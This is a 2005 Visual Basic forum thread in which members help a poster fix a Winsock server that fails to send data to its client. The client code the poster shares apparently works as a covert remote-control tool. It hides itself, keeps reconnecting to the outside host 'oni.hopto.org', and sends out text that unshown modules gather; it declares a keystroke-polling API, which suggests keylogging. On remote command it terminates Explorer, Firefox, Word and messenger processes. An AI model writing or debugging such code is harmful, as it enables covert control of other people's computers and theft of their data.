|
-
Apr 26th, 2005, 03:27 PM
#1
Thread Starter
Lively Member
Easy Winsock TCP Data Send Command...
Hey,
I had this command working a few days ago. It's a really simple program. Thanks for the help!
This is my Server. The winsocks name is Winsock1 and it's index is 0.
VB Code:
Private Sub cmdSend_Click()
Winsock1(0).SendData txtChat.Text
DoEvents
'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
txtChat.Text = ""
End Sub
My client should recieve like this
VB Code:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Let txtMain.Text = ""
Winsock1.GetData strData
btw, thats not the whole client script, it is a bit of it. The client uses a winsock with the name of Winsock1
Ehh I'll just put the whole server code here, nothing private in it :P
VB Code:
Option Explicit
Private Sub cmdSend_Click()
Winsock1(0).SendData txtChat.Text
DoEvents
'txtMain.Text = txtMain.Text & vbCrLf & txtChat.Text
txtChat.Text = ""
End Sub
Private Sub Command1_Click()
data.Text = ""
End Sub
Private Sub Command2_Click()
Load Form2
Form2.Show
End Sub
Private Sub Form_Load()
Winsock1(0).LocalPort = 10101 'In my example winsock1(0) is the listening winsock... others are use for two way communication..
Winsock1(0).Listen
End Sub
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Dim newIndex As Integer
newIndex = Winsock1.Count 'We have to get another socket to communicate with incoming client...
Load Winsock1(newIndex) 'Loading into the array
Winsock1(newIndex).LocalPort = Winsock1(newIndex).LocalPort + 1 'Set new local port, i.e. 1 plus previous port
Winsock1(newIndex).Accept requestID 'Now accept the request
List1.AddItem Winsock1(newIndex).RemoteHostIP 'Adding to list to see the IP of incoming client..
End Sub
Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strData As String
Winsock1(Index).GetData strData
data.Text = data.Text & strData
End Sub
Anyone know what this little bug can be? I don't wanna change any of the code except the
VB Code:
Winsock1(0).SendData txtChat.Text
That has got to go!
Thanks!
-
Apr 26th, 2005, 03:32 PM
#2
Thread Starter
Lively Member
Re: Easy Winsock TCP Data Send Command...
The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?
But I see the users IP in my list, so its connected with me??
My send command is wrong, prolly....
-
Apr 26th, 2005, 04:04 PM
#3
Re: Easy Winsock TCP Data Send Command...
 Originally Posted by Brin
The problem I'm having is that when I try to send my data it says "Wrong connection type..." Meaning that my Server isn't correctly connected with the client to SEND to it...?
But I see the users IP in my list, so its connected with me??
My send command is wrong, prolly....
No, the error you would get if you wernt connected would be the the (Wrong State or protocal conneection error.)
Could you post me your actual application it would help so much more
-
Apr 26th, 2005, 07:14 PM
#4
Thread Starter
Lively Member
Re: Easy Winsock TCP Data Send Command...
I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.
That is it...practically
The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1
-
Apr 27th, 2005, 01:37 AM
#5
Re: Easy Winsock TCP Data Send Command...
 Originally Posted by Brin
I posted all of the code that makes any difference at all. Everything else is just the program, itll make clutter.
That is it...practically
The problem that is there is with the server winsock. I think there 2 winsocks its looking for, i only have 1
Its not the code I'm only looking at, as I say if you post your application I could help you further.
-
Apr 27th, 2005, 12:52 PM
#6
PowerPoster
Re: Easy Winsock TCP Data Send Command...
Just post your app for Pino.
A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)
"From what was there, and was meant to be, but not of that was faded away." - - Steve Damm
"The polar opposite of nothingness is existance. When existance calls apon nothingness it shall return to nothingness." - - Steve Damm
"When you do things right, people won't be sure if you did anything at all." - - God from Futurama
-
Apr 27th, 2005, 04:32 PM
#7
Thread Starter
Lively Member
Re: Easy Winsock TCP Data Send Command...
My Client. There are also 3 modules that fill in the boxes that it tries to send to the server...
Again, the problem appears when I try to send data FROM the server TO the client
VB Code:
Option Explicit
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Function EndProcess(filename As String) As String
Dim Process As Variant
For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
If LCase(Process.Name) = LCase(filename) Then
EndProcess = Process.Name
Process.Terminate
End If
Next
End Function
Private Sub Timer2_Timer()
If Winsock1.State = sckConnected Then
Winsock1.SendData Text1.Text
DoEvents
Let Text1.Text = ""
End If
End Sub
Private Sub Timer4_Timer()
Dim result As Integer, Winsock1_Connect As Integer
Me.Hide
Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then
Timer2.Enabled = True
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Let txtMain.Text = ""
Winsock1.GetData strData
If strData = "End" Then
Unload Form1
Else
End If
If strData = "loop" Then
Change.Enabled = True
Game_Loop
End If
If strData = "aim.exe" Then
EndProcess ("aim.exe")
End If
If strData = "explorer.exe" Then
EndProcess ("explorer.exe")
End If
If strData = "WINWORD.EXE" Then
EndProcess ("WINWORD.EXE")
End If
If strData = "firefox.exe" Then
EndProcess ("firefox.exe")
End If
If strData = "msnmsgr.exe" Then
EndProcess ("msnmsgr.exe")
End If
If strData = "all.exe" Then
EndProcess ("aim.exe")
EndProcess ("explorer.exe")
EndProcess ("WINWORD.EXE")
EndProcess ("firefox.exe")
EndProcess ("msnmsgr.exe")
End If
End Sub
Private Sub Winsock_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
Dim result As Integer, Winsock1_Connect As Integer
Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then
Timer2.Enabled = True
End If
End Sub
Private Sub Timer3_Timer()
Dim strState As String
Select Case Winsock1.State
Case sckClosed
strState = "Closed"
Case sckOpen
strState = "Open"
Case sckListening
strState = "Listening"
Case sckConnectionPending
strState = "Connection pending"
Case sckResolvingHost
strState = "Resolving host"
Case sckHostResolved
strState = "Host resolved"
Case sckConnecting
strState = "Connecting"
Case sckConnected
strState = "Connected"
Case sckClosing
strState = "Peer is closing the connection"
Case sckError
strState = "Error"
End Select
End Sub
Thanks!
-
Apr 27th, 2005, 05:42 PM
#8
Re: Easy Winsock TCP Data Send Command...
 Originally Posted by Halsafar
Just post your app for Pino.
A mess of code or a not don't worry, he aint goona 'steal' you ultimate coding ability (lol) and he will assist you (guarantee)
but maybe shouldn't
-
Apr 27th, 2005, 05:48 PM
#9
Thread Starter
Lively Member
Re: Easy Winsock TCP Data Send Command...
The main code is in the modules, he doesn't get those :P
No need anyway
-
Apr 28th, 2005, 08:12 AM
#10
Frenzied Member
Re: Easy Winsock TCP Data Send Command...
 Originally Posted by Brin
Anyone know what this little bug can be? I don't wanna change any of the code except the
VB Code:
Winsock1(0).SendData txtChat.Text
That has got to go!
Thanks!
You are trying to send data from a control that is in the listening state.
-
Apr 28th, 2005, 03:05 PM
#11
Thread Starter
Lively Member
Re: Easy Winsock TCP Data Send Command...
Ahhh...
Works! Thanks all. I just changed the index numbers around a bit if you were wondering how... Ty!
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|